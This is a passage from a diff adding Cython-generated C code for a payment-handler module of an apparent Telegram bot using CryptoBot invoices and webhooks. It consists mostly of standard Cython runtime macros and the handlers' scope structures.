__Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/cryprobot_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + +/* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_invoice; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook { + PyObject_HEAD + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_request; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash { + PyObject_HEAD + PyObject *__pyx_v_body_text; + PyObject *__pyx_v_crypto_pay_signature; + PyObject *__pyx_v_request; +}; + + +/* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_custom_payload; + PyObject *__pyx_v_e; + PyObject *__pyx_v_payload; + PyObject *__pyx_v_user_id; + PyObject *__pyx_v_user_id_str; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_e; + PyObject *__pyx_v_invoice; + PyObject *__pyx_v_message; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL 